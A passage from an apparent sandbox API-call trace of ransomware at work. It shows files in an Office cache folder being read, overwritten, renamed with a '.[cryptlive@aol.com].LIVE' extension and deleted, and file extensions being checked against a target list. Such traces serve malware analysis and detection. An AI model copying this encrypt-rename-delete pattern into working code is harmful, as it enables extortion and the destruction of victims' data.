Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0048.508] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.508] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.508] ReadFile (in: hFile=0x160, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.516] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.516] ReadFile (in: hFile=0x160, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.520] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.520] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.520] ReadFile (in: hFile=0x160, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.537] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.537] WriteFile (in: hFile=0x160, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.873] SetEndOfFile (hFile=0x160) returned 1 [0048.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f50078 [0048.874] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.874] WriteFile (in: hFile=0x160, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.875] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.875] WriteFile (in: hFile=0x160, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.876] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.876] WriteFile (in: hFile=0x160, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f50078 | out: hHeap=0x520000) returned 1 [0048.878] CloseHandle (hObject=0x160) returned 1 [0051.321] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0051.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.322] lstrlenW (lpString=".doc") returned 4 [0051.322] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.322] lstrlenW (lpString=".docx") returned 5 [0051.322] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.322] lstrlenW (lpString=".pdf") returned 4 [0051.322] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.322] lstrlenW (lpString=".xls") returned 4 [0051.322] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.322] lstrlenW (lpString=".xlsx") returned 5 [0051.322] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.322] lstrlenW (lpString=".ppt") returned 4 [0051.322] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.322] lstrlenW (lpString=".zip") returned 4 [0051.322] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.322] lstrlenW (lpString=".rar") returned 4 [0051.322] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.322] lstrlenW (lpString=".bz2") returned 4 [0051.322] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.322] lstrlenW (lpString=".7z") returned 3 [0051.322] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.322] lstrlenW (lpString=".dbf") returned 4 [0051.322] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.323] lstrlenW (lpString=".1cd") returned 4 [0051.323] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.323] lstrlenW (lpString=".jpg") returned 4 [0051.323] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.323] lstrlenW (lpString=".doc") returned 4 [0051.323] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString=".docx") returned 5 [0051.323] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.323] lstrlenW (lpString=".pdf") returned 4 [0051.323] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString=".xls") returned 4 [0051.323] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString=".xlsx") returned 5 [0051.323] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.323] lstrlenW (lpString=".ppt") returned 4 [0051.323] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.323] lstrlenW (lpString=".zip") returned 4 [0051.323] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString=".rar") returned 4 [0051.323] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.323] lstrlenW (lpString=".bz2") returned 4 [0051.323] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.323] lstrlenW (lpString=".7z") returned 3 [0051.323] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.323] lstrlenW (lpString=".dbf") returned 4 [0051.324] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.324] lstrlenW (lpString=".1cd") returned 4 [0051.324] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.324] lstrlenW (lpString=".jpg") returned 4 [0051.324] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.324] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0051.324] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0051.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.742] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=36233052) returned 1 [0051.742] CloseHandle (hObject=0x208) returned 1 [0051.742] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0051.742] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.742] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0051.743] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.743] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.743] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.743] ReadFile (in: hFile=0x208, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.747] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.747] ReadFile (in: hFile=0x208, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.750] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.750] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.750] ReadFile (in: hFile=0x208, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.765] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.765] WriteFile (in: hFile=0x208, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.033] SetEndOfFile (hFile=0x208) returned 1 [0052.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fe7910 [0052.037] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.037] WriteFile (in: hFile=0x208, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.038] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.038] WriteFile (in: hFile=0x208, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.039] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.039] WriteFile (in: hFile=0x208, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fe7910 | out: hHeap=0x520000) returned 1 [0052.041] CloseHandle (hObject=0x208) returned 1 [0052.042] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0052.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.042] lstrlenW (lpString=".doc") returned 4 [0052.042] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.042] lstrlenW (lpString=".docx") returned 5 [0052.042] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.042] lstrlenW (lpString=".pdf") returned 4 [0052.042] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.042] lstrlenW (lpString=".xls") returned 4 [0052.042] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.042] lstrlenW (lpString=".xlsx") returned 5 [0052.042] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.042] lstrlenW (lpString=".ppt") returned 4 [0052.042] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.042] lstrlenW (lpString=".zip") returned 4 [0052.043] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString=".rar") returned 4 [0052.043] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString=".bz2") returned 4 [0052.043] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.043] lstrlenW (lpString=".7z") returned 3 [0052.043] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.043] lstrlenW (lpString=".dbf") returned 4 [0052.043] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.043] lstrlenW (lpString=".1cd") returned 4 [0052.043] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.043] lstrlenW (lpString=".jpg") returned 4 [0052.043] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.043] lstrlenW (lpString=".doc") returned 4 [0052.043] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString=".docx") returned 5 [0052.043] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.043] lstrlenW (lpString=".pdf") returned 4 [0052.043] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString=".xls") returned 4 [0052.043] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.043] lstrlenW (lpString=".xlsx") returned 5 [0052.043] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.043] lstrlenW (lpString=".ppt") returned 4 [0052.043] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.044] lstrlenW (lpString=".zip") returned 4 [0052.044] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.044] lstrlenW (lpString=".rar") returned 4 [0052.044] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.044] lstrlenW (lpString=".bz2") returned 4 [0052.044] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.044] lstrlenW (lpString=".7z") returned 3 [0052.044] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.044] lstrlenW (lpString=".dbf") returned 4 [0052.044] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.044] lstrlenW (lpString=".1cd") returned 4 [0052.044] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.044] lstrlenW (lpString=".jpg") returned 4 [0052.044] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.044] lstrcmpiW (lpString1=".xrm-ms", lpString2=".LIVE") returned 1 [0052.044] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0052.044] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.368] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=715834) returned 1 [0052.368] CloseHandle (hObject=0x1fc) returned 1 [0052.368] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0052.368] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.368] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.368] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.368] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.369] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.369] GetLastError () returned 0x0 [0052.369] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0052.540] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0052.554] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.554] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x104, lpOverlapped=0x0) returned 1 [0052.554] SetEndOfFile (hFile=0x1b0) returned 1 [0052.554] CloseHandle (hObject=0x1b0) returned 1 [0052.555] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.555] SetEndOfFile (hFile=0x1fc) returned 1 [0052.562] CloseHandle (hObject=0x1fc) returned 1 [0052.562] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0052.563] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0052.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.563] lstrlenW (lpString=".doc") returned 4 [0052.563] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0052.563] lstrlenW (lpString=".docx") returned 5 [0052.563] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0052.563] lstrlenW (lpString=".pdf") returned 4 [0052.563] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0052.563] lstrlenW (lpString=".xls") returned 4 [0052.563] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0052.563] lstrlenW (lpString=".xlsx") returned 5 [0052.563] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0052.563] lstrlenW (lpString=".ppt") returned 4 [0052.563] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0052.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.563] lstrlenW (lpString=".zip") returned 4 [0052.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0052.563] lstrlenW (lpString=".rar") returned 4 [0052.563] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0052.563] lstrlenW (lpString=".bz2") returned 4 [0052.564] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".7z") returned 3 [0052.564] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.564] lstrlenW (lpString=".dbf") returned 4 [0052.564] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.564] lstrlenW (lpString=".1cd") returned 4 [0052.564] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") 